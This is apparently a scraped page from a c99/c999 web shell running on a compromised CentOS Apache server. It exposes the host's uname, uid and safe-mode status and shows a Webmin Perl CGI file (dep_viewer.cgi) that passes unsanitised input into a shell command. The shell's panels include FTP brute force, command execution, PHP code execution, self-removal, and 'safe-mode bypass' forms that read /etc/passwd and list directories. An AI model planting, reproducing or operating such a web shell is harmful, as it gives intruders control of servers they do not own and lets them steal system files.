!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/smf/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dep_viewer.cgi (3.22 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# dependency/dependent tree viewer
# Display a form for displaying/editing SMF service states in dependency
# and dependent trees.

require './smf-lib.pl';
&ReadParse();

# get instance fmri
if (defined($in{'fmri'})) {
    $fmri = $in{'fmri'};
    # remove quotes...
    $fmri =~ /\'([^\']*)\'/;
    $fmri = $1;
} else {
    &error("No fmri supplied to dep viewer!");
    }

# deal with application of state changes first. this way
# dep lists will show new states...
if (defined($in{'change_state'})) {
    $cmd = "$in{'change_state'}";
    # get update fmri list
    @update_fmris = split(/\0/, $in{'applyto'});
    &svc_state_cmd("$cmd", \@update_fmris);
    }

@depy_expand_list = ();
# which dependency fmris do we expand?
if (defined($in{'dependency_expandlist'})) {
    # get required expansions. each is fmri
    @depy_expand_list = split(/\0/, $in{'dependency_expandlist'});
    }
# Expand list - list of fmris to expand. By default, expand top fmri.
push(@depy_expand_list, $fmri);

@dept_expand_list = ();
# which dependent fmris do we expand?
if (defined($in{'dependent_expandlist'})) {
    # get required expansions. each is fmri
    @dept_expand_list = split(/\0/, $in{'dependent_expandlist'});
    }
# Expand list - list of fmris to expand. By default, expand top fmri.
push(@dept_expand_list, $fmri);

# get new expansion/contractions submitted...
@inkeys = keys(%in);
foreach $inkey (@inkeys) {
    if ($inkey =~ /dependency_expand_(.*)$/) {
        $expand_fmri = $1;
        push(@depy_expand_list, $expand_fmri);
        }
    if ($inkey =~ /dependency_contract_(.*)$/) {
        $contract_fmri = $1;
        foreach $e (@depy_expand_list) {
            $old = shift(@depy_expand_list);
            if ($old eq $contract_fmri) {
                next;
                }
            push(@depy_expand_list, $old);
            }
        }
    if ($inkey =~ /dependent_expand_(.*)$/) {
        $expand_fmri = $1;
        push(@dept_expand_list, $expand_fmri);
        }
    if ($inkey =~ /dependent_contract_(.*)$/) {
        $contract_fmri = $1;
        foreach $e (@dept_expand_list) {
            $old = shift(@dept_expand_list);
            if ($old eq $contract_fmri) {
                next;
                }
            push(@dept_expand_list, $old);
            }
        }
    }

# Gather service description, and state info
$description = &run_smf_cmds("/usr/bin/svcs -H -oDESC $fmri", 0);

%depy_tree = ();
%dept_tree = ();
$depy_treeref = \%depy_tree;
$dept_treeref= \%dept_tree;
$instance_state = &svc_get_state_cmd($fmri);
&build_dep_tree("dependent", $dept_treeref, $fmri, 0, \@dept_expand_list,
    $instance_state);
&build_dep_tree("dependency", $depy_treeref, $fmri, 0, \@depy_expand_list,
    $instance_state);

&ui_print_header(undef, $text{'dep_viewer_title'}, "", undef);

print "<form method=\"POST\" action=\"dep_viewer.cgi?fmri='$fmri'\">\n";

print "<h2>$description</h2>\n";
print "<h2>";
&text_and_whats_this("dep_viewer_detail");
print "</h2>";

print "<h2>$text{'dep_viewer_depy_info'}</h2>\n";
print "<p>$text{'dep_viewer_apply'}:&nbsp\n";
&print_state_buttons();
print "</p>\n";
&print_dep_tree("dependency", $depy_treeref, $fmri, 0, \@depy_expand_list);

print "<h2>$text{'dep_viewer_dept_info'}</h2>\n";
print "<p>$text{'dep_viewer_apply'}:&nbsp\n";
&print_state_buttons();
print "</p>\n";
&print_dep_tree("dependent", $dept_treeref, $fmri, 0, \@dept_expand_list);

print "</form>\n";

&print_cmds_run();

&ui_print_footer("instance_viewer.cgi?fmri='$fmri'",
        $text{'dep_viewer_back'});

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--